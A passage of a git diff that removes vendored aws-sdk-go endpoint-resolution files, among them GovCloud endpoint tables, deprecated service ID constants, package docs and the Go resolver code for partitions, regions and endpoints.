"s3-control.us-gov-east-1.amazonaws.com", - SignatureVersions: []string{"s3v4"}, - CredentialScope: credentialScope{ - Region: "us-gov-east-1", - }, - }, - "us-gov-east-1-fips": endpoint{ - Hostname: "s3-control-fips.us-gov-east-1.amazonaws.com", - SignatureVersions: []string{"s3v4"}, - CredentialScope: credentialScope{ - Region: "us-gov-east-1", - }, - }, - "us-gov-west-1": endpoint{ - Hostname: "s3-control.us-gov-west-1.amazonaws.com", - SignatureVersions: []string{"s3v4"}, - CredentialScope: credentialScope{ - Region: "us-gov-west-1", - }, - }, - "us-gov-west-1-fips": endpoint{ - Hostname: "s3-control-fips.us-gov-west-1.amazonaws.com", - SignatureVersions: []string{"s3v4"}, - CredentialScope: credentialScope{ - Region: "us-gov-west-1", - }, - }, - }, - }, - "sms": service{ - - Endpoints: endpoints{ - "us-gov-east-1": endpoint{}, - "us-gov-west-1": endpoint{}, - }, - }, - "snowball": service{ - - Endpoints: endpoints{ - "us-gov-east-1": endpoint{}, - "us-gov-west-1": endpoint{}, - }, - }, - "sns": service{ - - Endpoints: endpoints{ - "us-gov-east-1": endpoint{}, - "us-gov-west-1": endpoint{ - Protocols: []string{"http", "https"}, - }, - }, - }, - "sqs": service{ - - Endpoints: endpoints{ - "us-gov-east-1": endpoint{}, - "us-gov-west-1": endpoint{ - SSLCommonName: "{region}.queue.{dnsSuffix}", - Protocols: []string{"http", "https"}, - }, - }, - }, - "ssm": service{ - - Endpoints: endpoints{ - "us-gov-east-1": endpoint{}, - "us-gov-west-1": endpoint{}, - }, - }, - "states": service{ - - Endpoints: endpoints{ - "us-gov-east-1": endpoint{}, - "us-gov-west-1": endpoint{}, - }, - }, - "storagegateway": service{ - - Endpoints: endpoints{ - "us-gov-west-1": endpoint{}, - }, - }, - "streams.dynamodb": service{ - Defaults: endpoint{ - CredentialScope: credentialScope{ - Service: "dynamodb", - }, - }, - Endpoints: endpoints{ - "us-gov-east-1": endpoint{}, - "us-gov-west-1": endpoint{}, - "us-gov-west-1-fips": endpoint{ - Hostname: "dynamodb.us-gov-west-1.amazonaws.com", - CredentialScope: credentialScope{ - Region: "us-gov-west-1", - }, - }, - }, - }, - "sts": service{ - - Endpoints: endpoints{ - "us-gov-east-1": endpoint{}, - "us-gov-west-1": endpoint{}, - }, - }, - "swf": service{ - - Endpoints: endpoints{ - "us-gov-east-1": endpoint{}, - "us-gov-west-1": endpoint{}, - }, - }, - "tagging": service{ - - Endpoints: endpoints{ - "us-gov-east-1": endpoint{}, - "us-gov-west-1": endpoint{}, - }, - }, - "translate": service{ - Defaults: endpoint{ - Protocols: []string{"https"}, - }, - Endpoints: endpoints{ - "us-gov-west-1": endpoint{}, - "us-gov-west-1-fips": endpoint{ - Hostname: "translate-fips.us-gov-west-1.amazonaws.com", - CredentialScope: credentialScope{ - Region: "us-gov-west-1", - }, - }, - }, - }, - "workspaces": service{ - - Endpoints: endpoints{ - "us-gov-west-1": endpoint{}, - }, - }, - }, -} diff --git a/vendor/github.com/aws/aws-sdk-go/aws/endpoints/dep_service_ids.go b/vendor/github.com/aws/aws-sdk-go/aws/endpoints/dep_service_ids.go deleted file mode 100644 index 000dd79eec..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/aws/endpoints/dep_service_ids.go +++ /dev/null @@ -1,141 +0,0 @@ -package endpoints - -// Service identifiers -// -// Deprecated: Use client package's EndpointID value instead of these -// ServiceIDs. These IDs are not maintained, and are out of date. -const ( - A4bServiceID = "a4b" // A4b. - AcmServiceID = "acm" // Acm. - AcmPcaServiceID = "acm-pca" // AcmPca. - ApiMediatailorServiceID = "api.mediatailor" // ApiMediatailor. - ApiPricingServiceID = "api.pricing" // ApiPricing. - ApiSagemakerServiceID = "api.sagemaker" // ApiSagemaker. - ApigatewayServiceID = "apigateway" // Apigateway. - ApplicationAutoscalingServiceID = "application-autoscaling" // ApplicationAutoscaling. - Appstream2ServiceID = "appstream2" // Appstream2. - AppsyncServiceID = "appsync" // Appsync. - AthenaServiceID = "athena" // Athena. - AutoscalingServiceID = "autoscaling" // Autoscaling. - AutoscalingPlansServiceID = "autoscaling-plans" // AutoscalingPlans. - BatchServiceID = "batch" // Batch. - BudgetsServiceID = "budgets" // Budgets. - CeServiceID = "ce" // Ce. - ChimeServiceID = "chime" // Chime. - Cloud9ServiceID = "cloud9" // Cloud9. - ClouddirectoryServiceID = "clouddirectory" // Clouddirectory. - CloudformationServiceID = "cloudformation" // Cloudformation. - CloudfrontServiceID = "cloudfront" // Cloudfront. - CloudhsmServiceID = "cloudhsm" // Cloudhsm. - Cloudhsmv2ServiceID = "cloudhsmv2" // Cloudhsmv2. - CloudsearchServiceID = "cloudsearch" // Cloudsearch. - CloudtrailServiceID = "cloudtrail" // Cloudtrail. - CodebuildServiceID = "codebuild" // Codebuild. - CodecommitServiceID = "codecommit" // Codecommit. - CodedeployServiceID = "codedeploy" // Codedeploy. - CodepipelineServiceID = "codepipeline" // Codepipeline. - CodestarServiceID = "codestar" // Codestar. - CognitoIdentityServiceID = "cognito-identity" // CognitoIdentity. - CognitoIdpServiceID = "cognito-idp" // CognitoIdp. - CognitoSyncServiceID = "cognito-sync" // CognitoSync. - ComprehendServiceID = "comprehend" // Comprehend. - ConfigServiceID = "config" // Config. - CurServiceID = "cur" // Cur. - DatapipelineServiceID = "datapipeline" // Datapipeline. - DaxServiceID = "dax" // Dax. - DevicefarmServiceID = "devicefarm" // Devicefarm. - DirectconnectServiceID = "directconnect" // Directconnect. - DiscoveryServiceID = "discovery" // Discovery. - DmsServiceID = "dms" // Dms. - DsServiceID = "ds" // Ds. - DynamodbServiceID = "dynamodb" // Dynamodb. - Ec2ServiceID = "ec2" // Ec2. - Ec2metadataServiceID = "ec2metadata" // Ec2metadata. - EcrServiceID = "ecr" // Ecr. - EcsServiceID = "ecs" // Ecs. - ElasticacheServiceID = "elasticache" // Elasticache. - ElasticbeanstalkServiceID = "elasticbeanstalk" // Elasticbeanstalk. - ElasticfilesystemServiceID = "elasticfilesystem" // Elasticfilesystem. - ElasticloadbalancingServiceID = "elasticloadbalancing" // Elasticloadbalancing. - ElasticmapreduceServiceID = "elasticmapreduce" // Elasticmapreduce. - ElastictranscoderServiceID = "elastictranscoder" // Elastictranscoder. - EmailServiceID = "email" // Email. - EntitlementMarketplaceServiceID = "entitlement.marketplace" // EntitlementMarketplace. - EsServiceID = "es" // Es. - EventsServiceID = "events" // Events. - FirehoseServiceID = "firehose" // Firehose. - FmsServiceID = "fms" // Fms. - GameliftServiceID = "gamelift" // Gamelift. - GlacierServiceID = "glacier" // Glacier. - GlueServiceID = "glue" // Glue. - GreengrassServiceID = "greengrass" // Greengrass. - GuarddutyServiceID = "guardduty" // Guardduty. - HealthServiceID = "health" // Health. - IamServiceID = "iam" // Iam. - ImportexportServiceID = "importexport" // Importexport. - InspectorServiceID = "inspector" // Inspector. - IotServiceID = "iot" // Iot. - IotanalyticsServiceID = "iotanalytics" // Iotanalytics. - KinesisServiceID = "kinesis" // Kinesis. - KinesisanalyticsServiceID = "kinesisanalytics" // Kinesisanalytics. - KinesisvideoServiceID = "kinesisvideo" // Kinesisvideo. - KmsServiceID = "kms" // Kms. - LambdaServiceID = "lambda" // Lambda. - LightsailServiceID = "lightsail" // Lightsail. - LogsServiceID = "logs" // Logs. - MachinelearningServiceID = "machinelearning" // Machinelearning. - MarketplacecommerceanalyticsServiceID = "marketplacecommerceanalytics" // Marketplacecommerceanalytics. - MediaconvertServiceID = "mediaconvert" // Mediaconvert. - MedialiveServiceID = "medialive" // Medialive. - MediapackageServiceID = "mediapackage" // Mediapackage. - MediastoreServiceID = "mediastore" // Mediastore. - MeteringMarketplaceServiceID = "metering.marketplace" // MeteringMarketplace. - MghServiceID = "mgh" // Mgh. - MobileanalyticsServiceID = "mobileanalytics" // Mobileanalytics. - ModelsLexServiceID = "models.lex" // ModelsLex. - MonitoringServiceID = "monitoring" // Monitoring. - MturkRequesterServiceID = "mturk-requester" // MturkRequester. - NeptuneServiceID = "neptune" // Neptune. - OpsworksServiceID = "opsworks" // Opsworks. - OpsworksCmServiceID = "opsworks-cm" // OpsworksCm. - OrganizationsServiceID = "organizations" // Organizations. - PinpointServiceID = "pinpoint" // Pinpoint. - PollyServiceID = "polly" // Polly. - RdsServiceID = "rds" // Rds. - RedshiftServiceID = "redshift" // Redshift. - RekognitionServiceID = "rekognition" // Rekognition. - ResourceGroupsServiceID = "resource-groups" // ResourceGroups. - Route53ServiceID = "route53" // Route53. - Route53domainsServiceID = "route53domains" // Route53domains. - RuntimeLexServiceID = "runtime.lex" // RuntimeLex. - RuntimeSagemakerServiceID = "runtime.sagemaker" // RuntimeSagemaker. - S3ServiceID = "s3" // S3. - S3ControlServiceID = "s3-control" // S3Control. - SagemakerServiceID = "api.sagemaker" // Sagemaker. - SdbServiceID = "sdb" // Sdb. - SecretsmanagerServiceID = "secretsmanager" // Secretsmanager. - ServerlessrepoServiceID = "serverlessrepo" // Serverlessrepo. - ServicecatalogServiceID = "servicecatalog" // Servicecatalog. - ServicediscoveryServiceID = "servicediscovery" // Servicediscovery. - ShieldServiceID = "shield" // Shield. - SmsServiceID = "sms" // Sms. - SnowballServiceID = "snowball" // Snowball. - SnsServiceID = "sns" // Sns. - SqsServiceID = "sqs" // Sqs. - SsmServiceID = "ssm" // Ssm. - StatesServiceID = "states" // States. - StoragegatewayServiceID = "storagegateway" // Storagegateway. - StreamsDynamodbServiceID = "streams.dynamodb" // StreamsDynamodb. - StsServiceID = "sts" // Sts. - SupportServiceID = "support" // Support. - SwfServiceID = "swf" // Swf. - TaggingServiceID = "tagging" // Tagging. - TransferServiceID = "transfer" // Transfer. - TranslateServiceID = "translate" // Translate. - WafServiceID = "waf" // Waf. - WafRegionalServiceID = "waf-regional" // WafRegional. - WorkdocsServiceID = "workdocs" // Workdocs. - WorkmailServiceID = "workmail" // Workmail. - WorkspacesServiceID = "workspaces" // Workspaces. - XrayServiceID = "xray" // Xray. -) diff --git a/vendor/github.com/aws/aws-sdk-go/aws/endpoints/doc.go b/vendor/github.com/aws/aws-sdk-go/aws/endpoints/doc.go deleted file mode 100644 index 84316b92c0..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/aws/endpoints/doc.go +++ /dev/null @@ -1,66 +0,0 @@ -// Package endpoints provides the types and functionality for defining regions -// and endpoints, as well as querying those definitions. -// -// The SDK's Regions and Endpoints metadata is code generated into the endpoints -// package, and is accessible via the DefaultResolver function. This function -// returns a endpoint Resolver will search the metadata and build an associated -// endpoint if one is found. The default resolver will search all partitions -// known by the SDK. e.g AWS Standard (aws), AWS China (aws-cn), and -// AWS GovCloud (US) (aws-us-gov). -// . -// -// Enumerating Regions and Endpoint Metadata -// -// Casting the Resolver returned by DefaultResolver to a EnumPartitions interface -// will allow you to get access to the list of underlying Partitions with the -// Partitions method. This is helpful if you want to limit the SDK's endpoint -// resolving to a single partition, or enumerate regions, services, and endpoints -// in the partition. -// -// resolver := endpoints.DefaultResolver() -// partitions := resolver.(endpoints.EnumPartitions).Partitions() -// -// for _, p := range partitions { -// fmt.Println("Regions for", p.ID()) -// for id, _ := range p.Regions() { -// fmt.Println("*", id) -// } -// -// fmt.Println("Services for", p.ID()) -// for id, _ := range p.Services() { -// fmt.Println("*", id) -// } -// } -// -// Using Custom Endpoints -// -// The endpoints package also gives you the ability to use your own logic how -// endpoints are resolved. This is a great way to define a custom endpoint -// for select services, without passing that logic down through your code. -// -// If a type implements the Resolver interface it can be used to resolve -// endpoints. To use this with the SDK's Session and Config set the value -// of the type to the EndpointsResolver field of aws.Config when initializing -// the session, or service client. -// -// In addition the ResolverFunc is a wrapper for a func matching the signature -// of Resolver.EndpointFor, converting it to a type that satisfies the -// Resolver interface. -// -// -// myCustomResolver := func(service, region string, optFns ...func(*endpoints.Options)) (endpoints.ResolvedEndpoint, error) { -// if service == endpoints.S3ServiceID { -// return endpoints.ResolvedEndpoint{ -// URL: "s3.custom.endpoint.com", -// SigningRegion: "custom-signing-region", -// }, nil -// } -// -// return endpoints.DefaultResolver().EndpointFor(service, region, optFns...) -// } -// -// sess := session.Must(session.NewSession(&aws.Config{ -// Region: aws.String("us-west-2"), -// EndpointResolver: endpoints.ResolverFunc(myCustomResolver), -// })) -package endpoints diff --git a/vendor/github.com/aws/aws-sdk-go/aws/endpoints/endpoints.go b/vendor/github.com/aws/aws-sdk-go/aws/endpoints/endpoints.go deleted file mode 100644 index f82babf6f9..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/aws/endpoints/endpoints.go +++ /dev/null @@ -1,449 +0,0 @@ -package endpoints - -import ( - "fmt" - "regexp" - - "github.com/aws/aws-sdk-go/aws/awserr" -) - -// Options provide the configuration needed to direct how the -// endpoints will be resolved. -type Options struct { - // DisableSSL forces the endpoint to be resolved as HTTP. - // instead of HTTPS if the service supports it. - DisableSSL bool - - // Sets the resolver to resolve the endpoint as a dualstack endpoint - // for the service. If dualstack support for a service is not known and - // StrictMatching is not enabled a dualstack endpoint for the service will - // be returned. This endpoint may not be valid. If StrictMatching is - // enabled only services that are known to support dualstack will return - // dualstack endpoints. - UseDualStack bool - - // Enables strict matching of services and regions resolved endpoints. - // If the partition doesn't enumerate the exact service and region an - // error will be returned. This option will prevent returning endpoints - // that look valid, but may not resolve to any real endpoint. - StrictMatching bool - - // Enables resolving a service endpoint based on the region provided if the - // service does not exist. The service endpoint ID will be used as the service - // domain name prefix. By default the endpoint resolver requires the service - // to be known when resolving endpoints. - // - // If resolving an endpoint on the partition list the provided region will - // be used to determine which partition's domain name pattern to the service - // endpoint ID with. If both the service and region are unknown and resolving - // the endpoint on partition list an UnknownEndpointError error will be returned. - // - // If resolving and endpoint on a partition specific resolver that partition's - // domain name pattern will be used with the service endpoint ID. If both - // region and service do not exist when resolving an endpoint on a specific - // partition the partition's domain pattern will be used to combine the - // endpoint and region together. - // - // This option is ignored if StrictMatching is enabled. - ResolveUnknownService bool -} - -// Set combines all of the option functions together. -func (o *Options) Set(optFns ...func(*Options)) { - for _, fn := range optFns { - fn(o) - } -} - -// DisableSSLOption sets the DisableSSL options. Can be used as a functional -// option when resolving endpoints. -func DisableSSLOption(o *Options) { - o.DisableSSL = true -} - -// UseDualStackOption sets the UseDualStack option. Can be used as a functional -// option when resolving endpoints. -func UseDualStackOption(o *Options) { - o.UseDualStack = true -} - -// StrictMatchingOption sets the StrictMatching option. Can be used as a functional -// option when resolving endpoints. -func StrictMatchingOption(o *Options) { - o.StrictMatching = true -} - -// ResolveUnknownServiceOption sets the ResolveUnknownService option. Can be used -// as a functional option when resolving endpoints. -func ResolveUnknownServiceOption(o *Options) { - o.ResolveUnknownService = true -} - -// A Resolver provides the interface for functionality to resolve endpoints. -// The build in Partition and DefaultResolver return value satisfy this interface. -type Resolver interface { - EndpointFor(service, region string, opts ...func(*Options)) (ResolvedEndpoint, error) -} - -// ResolverFunc is a helper utility that wraps a function so it satisfies the -// Resolver interface. This is useful when you want to add additional endpoint -// resolving logic, or stub out specific endpoints with custom values. -type ResolverFunc func(service, region string, opts ...func(*Options)) (ResolvedEndpoint, error) - -// EndpointFor wraps the ResolverFunc function to satisfy the Resolver interface. -func (fn ResolverFunc) EndpointFor(service, region string, opts ...func(*Options)) (ResolvedEndpoint, error) { - return fn(service, region, opts...) -} - -var schemeRE = regexp.MustCompile("^([^:]+)://") - -// AddScheme adds the HTTP or HTTPS schemes to a endpoint URL if there is no -// scheme. If disableSSL is true HTTP will set HTTP instead of the default HTTPS. -// -// If disableSSL is set, it will only set the URL's scheme if the URL does not -// contain a scheme. -func AddScheme(endpoint string, disableSSL bool) string { - if !schemeRE.MatchString(endpoint) { - scheme := "https" - if disableSSL { - scheme = "http" - } - endpoint = fmt.Sprintf("%s://%s", scheme, endpoint) - } - - return endpoint -} - -// EnumPartitions a provides a way to retrieve the underlying partitions that -// make up the SDK's default Resolver, or any resolver decoded from a model -// file. -// -// Use this interface with DefaultResolver and DecodeModels to get the list of -// Partitions. -type EnumPartitions interface { - Partitions() []Partition -} - -// RegionsForService returns a map of regions for the partition and service. -// If either the partition or service does not exist false will be returned -// as the second parameter. -// -// This example shows how to get the regions for DynamoDB in the AWS partition. -// rs, exists := endpoints.RegionsForService(endpoints.DefaultPartitions(), endpoints.AwsPartitionID, endpoints.DynamodbServiceID) -// -// This is equivalent to using the partition directly. -// rs := endpoints.AwsPartition().Services()[endpoints.DynamodbServiceID].Regions() -func RegionsForService(ps []Partition, partitionID, serviceID string) (map[string]Region, bool) { - for _, p := range ps { - if p.ID() != partitionID { - continue - } - if _, ok := p.p.Services[serviceID]; !ok { - break - } - - s := Service{ - id: serviceID, - p: p.p, - } - return s.Regions(), true - } - - return map[string]Region{}, false -} - -// PartitionForRegion returns the first partition which includes the region -// passed in. This includes both known regions and regions which match -// a pattern supported by the partition which may include regions that are -// not explicitly known by the partition. Use the Regions method of the -// returned Partition if explicit support is needed. -func PartitionForRegion(ps []Partition, regionID string) (Partition, bool) { - for _, p := range ps { - if _, ok := p.p.Regions[regionID]; ok || p.p.RegionRegex.MatchString(regionID) { - return p, true - } - } - - return Partition{}, false -} - -// A Partition provides the ability to enumerate the partition's regions -// and services. -type Partition struct { - id string - p *partition -} - -// ID returns the identifier of the partition. -func (p Partition) ID() string { return p.id } - -// EndpointFor attempts to resolve the endpoint based on service and region. -// See Options for information on configuring how the endpoint is resolved. -// -// If the service cannot be found in the metadata the UnknownServiceError -// error will be returned. This validation will occur regardless if -// StrictMatching is enabled. To enable resolving unknown services set the -// "ResolveUnknownService" option to true. When StrictMatching is disabled -// this option allows the partition resolver to resolve a endpoint based on -// the service endpoint ID provided. -// -// When resolving endpoints you can choose to enable StrictMatching. This will -// require the provided service and region to be known by the partition. -// If the endpoint cannot be strictly resolved an error will be returned. This -// mode is useful to ensure the endpoint resolved is valid. Without -// StrictMatching enabled the endpoint returned my look valid but may not work. -// StrictMatching requires the SDK to be updated if you want to take advantage -// of new regions and services expansions. -// -// Errors that can be returned. -// * UnknownServiceError -// * UnknownEndpointError -func (p Partition) EndpointFor(service, region string, opts ...func(*Options)) (ResolvedEndpoint, error) { - return p.p.EndpointFor(service, region, opts...) -} - -// Regions returns a map of Regions indexed by their ID. This is useful for -// enumerating over the regions in a partition. -func (p Partition) Regions() map[string]Region { - rs := map[string]Region{} - for id, r := range p.p.Regions { - rs[id] = Region{ - id: id, - desc: r.Description, - p: p.p, - } - } - - return rs -} - -// Services returns a map of Service indexed by their ID. This is useful for -// enumerating over the services in a partition. -func (p Partition) Services() map[string]Service { - ss := map[string]Service{} - for id := range p.p.Services { - ss[id] = Service{ - id: id, - p: p.p, - } - } - - return ss -} - -// A Region provides information about a region, and ability to resolve an -// endpoint from the context of a region, given a service. -type Region struct { - id, desc string - p *partition -} - -// ID returns the region's identifier. -func (r Region) ID() string { return r.id } - -// Description returns the region's description. The region description -// is free text, it can be empty, and it may change between SDK releases. -func (r Region) Description() string { return r.desc } - -// ResolveEndpoint resolves an endpoint from the context of the region given -// a service. See Partition.EndpointFor for usage and errors that can be returned. -func (r Region) ResolveEndpoint(service string, opts ...func(*Options)) (ResolvedEndpoint, error) { - return r.p.EndpointFor(service, r.id, opts...) -} - -// Services returns a list of all services that are known to be in this region. -func (r Region) Services() map[string]Service { - ss := map[string]Service{} - for id, s := range r.p.Services { - if _, ok := s.Endpoints[r.id]; ok { - ss[id] = Service{ - id: id, - p: r.p, - } - } - } - - return ss -} - -// A Service provides information about a service, and ability to resolve an -// endpoint from the context of a service, given a region. -type Service struct { - id string - p *partition -} - -// ID returns the identifier for the service. -func (s Service) ID() string { return s.id } - -// ResolveEndpoint resolves an endpoint from the context of a service given -// a region. See Partition.EndpointFor for usage and errors that can be returned. -func (s Service) ResolveEndpoint(region string, opts ...func(*Options)) (ResolvedEndpoint, error) { - return s.p.EndpointFor(s.id, region, opts...) -} - -// Regions returns a map of Regions that the service is present in. -// -// A region is the AWS region the service exists in. Whereas a Endpoint is -// an URL that can be resolved to a instance of a service. -func (s Service) Regions() map[string]Region { - rs := map[string]Region{} - for id := range s.p.Services[s.id].Endpoints { - if r, ok := s.p.Regions[id]; ok { - rs[id] = Region{ - id: id, - desc: r.Description, - p: s.p, - } - } - } - - return rs -} - -// Endpoints returns a map of Endpoints indexed by their ID for all known -// endpoints for a service. -// -// A region is the AWS region the service exists in. Whereas a Endpoint is -// an URL that can be resolved to a instance of a service. -func (s Service) Endpoints() map[string]Endpoint { - es := map[string]Endpoint{} - for id := range s.p.Services[s.id].Endpoints { - es[id] = Endpoint{ - id: id, - serviceID: s.id, - p: s.p, - } - } - - return es -} - -// A Endpoint provides information about endpoints, and provides the ability -// to resolve that endpoint for the service, and the region the endpoint -// represents. -type Endpoint struct { - id string - serviceID string - p *partition -} - -// ID returns the identifier for an endpoint. -func (e Endpoint) ID() string { return e.id } - -// ServiceID returns the identifier the endpoint belongs to. -func (e Endpoint) ServiceID() string { return e.serviceID } - -// ResolveEndpoint resolves an endpoint from the context of a service and -// region the endpoint represents. See Partition.EndpointFor for usage and -// errors that can be returned. -func (e Endpoint) ResolveEndpoint(opts ...func(*Options)) (ResolvedEndpoint, error) { - return e.p.EndpointFor(e.serviceID, e.id, opts...) -} - -// A ResolvedEndpoint is an endpoint that has been resolved based on a partition -// service, and region. -type ResolvedEndpoint struct { - // The endpoint URL - URL string - - // The region that should be used for signing requests. - SigningRegion string - - // The service name that should be used for signing requests. - SigningName string - - // States that the signing name for this endpoint was derived from metadata - // passed in, but was not explicitly modeled. - SigningNameDerived bool - - // The signing method that should be used for signing requests. - SigningMethod string -} - -// So that the Error interface type can be included as an anonymous field -// in the requestError struct and not conflict with the error.Error() method. -type awsError awserr.Error - -// A EndpointNotFoundError is returned when in StrictMatching mode, and the -// endpoint for the service and region cannot be found in any of the partitions. -type EndpointNotFoundError struct { - awsError - Partition string - Service string - Region string -} - -// A UnknownServiceError is returned when the service does not resolve to an -// endpoint. Includes a list of all known services for the partition. Returned -// when a partition does not support the service. -type UnknownServiceError struct { - awsError - Partition string - Service string - Known []string -} - -// NewUnknownServiceError builds and returns UnknownServiceError. -func NewUnknownServiceError(p, s string, known []string) UnknownServiceError { - return UnknownServiceError{ - awsError: awserr.New("UnknownServiceError", - "could not resolve endpoint for unknown service", nil), - Partition: p, - Service: s, - Known: known, - } -} - -// String returns the string representation of the error. -func (e UnknownServiceError) Error() string { - extra := fmt.Sprintf("partition: %q, service: %q", - e.Partition, e.Service) - if len(e.Known) > 0 { - extra += fmt.Sprintf(", known: %v", e.Known) - } - return awserr.SprintError(e.Code(), e.Message(), extra, e.OrigErr()) -} - -// String returns the string representation of the error. -func (e UnknownServiceError) String() string { - return e.Error() -} - -// A UnknownEndpointError is returned when in StrictMatching mode and the -// service is valid, but the region does not resolve to an endpoint. Includes -// a list of all known endpoints for the service. -type UnknownEndpointError struct { - awsError - Partition string - Service string - Region string - Known []string -} - -// NewUnknownEndpointError builds and returns UnknownEndpointError. -func NewUnknownEndpointError(p, s, r string, known []string) UnknownEndpointError { - return UnknownEndpointError{ - awsError: awserr.New("UnknownEndpointError", - "could not resolve endpoint", nil), - Partition: p, - Service: s, - Region: r, - Known: known, - } -} - -// String returns the string representation of the error. -func (e UnknownEndpointError) Error() string { - extra := fmt.Sprintf("partition: %q, service: %q, region: %q", - e.Partition, e.Service, e.Region) - if len(e.Known) > 0 { - extra += fmt.Sprintf(", known: %v", e.Known) - } - return awserr.SprintError(e.Code(), e.Message(), extra, e.OrigErr()) -} - -// String returns the string representation of the error. -func (e UnknownEndpointError) String() string { - return e.Error() -} diff --git a/vendor/github.com/aws/aws-sdk-go/aws/endpoints/v3model.go b/vendor/github.com/aws/aws-sdk-go/aws/endpoints/v3model.go deleted file mode 100644 index ff6f76db6e..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/aws/endpoints/v3model.go +++ /dev/null @@ -1,307 +0,0 @@ -package endpoints - -import ( - "fmt" - "regexp" - "strconv" - "strings" -) - -type partitions []partition - -func (ps partitions) EndpointFor(service, region string, opts ...func(*Options)) (ResolvedEndpoint, error) { - var opt Options - opt.Set(opts...) - - for i := 0; i < len(ps); i++ { - if !ps[i].canResolveEndpoint(service, region, opt.StrictMatching) { - continue - } - - return ps[i].EndpointFor(service, region, opts...) - } - - // If loose matching fallback to first partition format to use - // when resolving the endpoint. - if !opt.StrictMatching && len(ps) > 0 { - return ps[0].EndpointFor(service, region, opts...) - } - - return ResolvedEndpoint{}, NewUnknownEndpointError("all partitions", service, region, []string{}) -} - -// Partitions satisfies the EnumPartitions interface and returns a list -// of Partitions representing each partition represented in the SDK's -// endpoints model. -func (ps partitions) Partitions() []Partition { - parts := make([]Partition, 0, len(ps)) - for i := 0; i < len(ps); i++ { - parts = append(parts, ps[i].Partition()) - } - - return parts -} - -type partition struct { - ID string `json:"partition"` - Name string `json:"partitionName"` - DNSSuffix string `json:"dnsSuffix"` - RegionRegex regionRegex `json:"regionRegex"` - Defaults endpoint `json:"defaults"` - Regions regions `json:"regions"` - Services services `json:"services"` -} - -func (p partition) Partition() Partition { - return Partition{ - id: p.ID, - p: &p, - } -} - -func (p partition) canResolveEndpoint(service, region string, strictMatch bool) bool { - s, hasService := p.Services[service] - _, hasEndpoint := s.Endpoints[region] - - if hasEndpoint && hasService { - return true - } - - if strictMatch { - return false - } - - return p.RegionRegex.MatchString(region) -} - -func (p partition) EndpointFor(service, region string, opts ...func(*Options)) (resolved ResolvedEndpoint, err error) { - var opt Options - opt.Set(opts...) - - s, hasService := p.Services[service] - if !(hasService || opt.ResolveUnknownService) { - // Only return error if the resolver will not fallback to creating - // endpoint based on service endpoint ID passed in. - return resolved, NewUnknownServiceError(p.ID, service, serviceList(p.Services)) - } - - e, hasEndpoint := s.endpointForRegion(region) - if !hasEndpoint && opt.StrictMatching { - return resolved, NewUnknownEndpointError(p.ID, service, region, endpointList(s.Endpoints)) - } - - defs := []endpoint{p.Defaults, s.Defaults} - return e.resolve(service, region, p.DNSSuffix, defs, opt), nil -} - -func serviceList(ss services) []string { - list := make([]string, 0, len(ss)) - for k := range ss { - list = append(list, k) - } - return list -} -func endpointList(es endpoints) []string { - list := make([]string, 0, len(es)) - for k := range es { - list = append(list, k) - } - return list -} - -type regionRegex struct { - *regexp.Regexp -} - -func (rr *regionRegex) UnmarshalJSON(b []byte) (err error) { - // Strip leading and trailing quotes - regex, err := strconv.Unquote(string(b)) - if err != nil { - return fmt.Errorf("unable to strip quotes from regex, %v", err) - } - - rr.Regexp, err = regexp.Compile(regex) - if err != nil { - return fmt.Errorf("unable to unmarshal region regex, %v", err) - } - return nil -} - -type regions map[string]region - -type region struct { - Description string `json:"description"` -} - -type services map[string]service - -type service struct { - PartitionEndpoint string `json:"partitionEndpoint"` - IsRegionalized boxedBool `json:"isRegionalized,omitempty"` - Defaults endpoint `json:"defaults"` - Endpoints endpoints `json:"endpoints"` -} - -func (s *service) endpointForRegion(region string) (endpoint, bool) { - if s.IsRegionalized == boxedFalse { - return s.Endpoints[s.PartitionEndpoint], region == s.PartitionEndpoint - } - - if e, ok := s.Endpoints[region]; ok { - return e, true - } - - // Unable to find any matching endpoint, return - // blank that will be used for generic endpoint creation. - return endpoint{}, false -} - -type endpoints map[string]endpoint - -type endpoint struct { - Hostname string `json:"hostname"` - Protocols []string `json:"protocols"` - CredentialScope credentialScope `json:"credentialScope"` - - // Custom fields not modeled - HasDualStack boxedBool `json:"-"` - DualStackHostname string `json:"-"` - - // Signature Version not used - SignatureVersions []string `json:"signatureVersions"` - - // SSLCommonName not used. - SSLCommonName string `json:"sslCommonName"` -} - -const ( - defaultProtocol = "https" - defaultSigner = "v4" -) - -var ( - protocolPriority = []string{"https", "http"} - signerPriority = []string{"v4", "v2"} -) - -func getByPriority(s []string, p []string, def string) string { - if len(s) == 0 { - return def - } - - for i := 0; i < len(p); i++ { - for j := 0; j < len(s); j++ { - if s[j] == p[i] { - return s[j] - } - } - } - - return s[0] -} - -func (e endpoint) resolve(service, region, dnsSuffix string, defs []endpoint, opts Options) ResolvedEndpoint { - var merged endpoint - for _, def := range defs { - merged.mergeIn(def) - } - merged.mergeIn(e) - e = merged - - hostname := e.Hostname - - // Offset the hostname for dualstack if enabled - if opts.UseDualStack && e.HasDualStack == boxedTrue { - hostname = e.DualStackHostname - } - - u := strings.Replace(hostname, "{service}", service, 1) - u = strings.Replace(u, "{region}", region, 1) - u = strings.Replace(u, "{dnsSuffix}", dnsSuffix, 1) - - scheme := getEndpointScheme(e.Protocols, opts.DisableSSL) - u = fmt.Sprintf("%s://%s", scheme, u) - - signingRegion := e.CredentialScope.Region - if len(signingRegion) == 0 { - signingRegion = region - } - - signingName := e.CredentialScope.Service - var signingNameDerived bool - if len(signingName) == 0 { - signingName = service - signingNameDerived = true - } - - return ResolvedEndpoint{ - URL: u, - SigningRegion: signingRegion, - SigningName: signingName, - SigningNameDerived: signingNameDerived, - SigningMethod: getByPriority(e.SignatureVersions, signerPriority, defaultSigner), - } -} - -func getEndpointScheme(protocols []string, disableSSL bool) string { - if disableSSL { - return "http" - } - - return getByPriority(protocols, protocolPriority, defaultProtocol) -} - -func (e *endpoint) mergeIn(other endpoint) { - if len(other.Hostname) > 0 { - e.Hostname = other.Hostname - } - if len(other.Protocols) > 0 { - e.Protocols = other.Protocols - } - if len(other.SignatureVersions) > 0 { - e.SignatureVersions = other.SignatureVersions - } - if len(other.CredentialScope.Region) > 0 { - e.CredentialScope.Region = other.CredentialScope.Region - } - if len(other.CredentialScope.Service) > 0 { - e.CredentialScope.Service = other.CredentialScope.Service - } - if len(other.SSLCommonName) > 0 { - e.SSLCommonName = other.SSLCommonName - } - if other.HasDualStack != boxedBoolUnset { - e.HasDualStack = other.HasDualStack - } - if 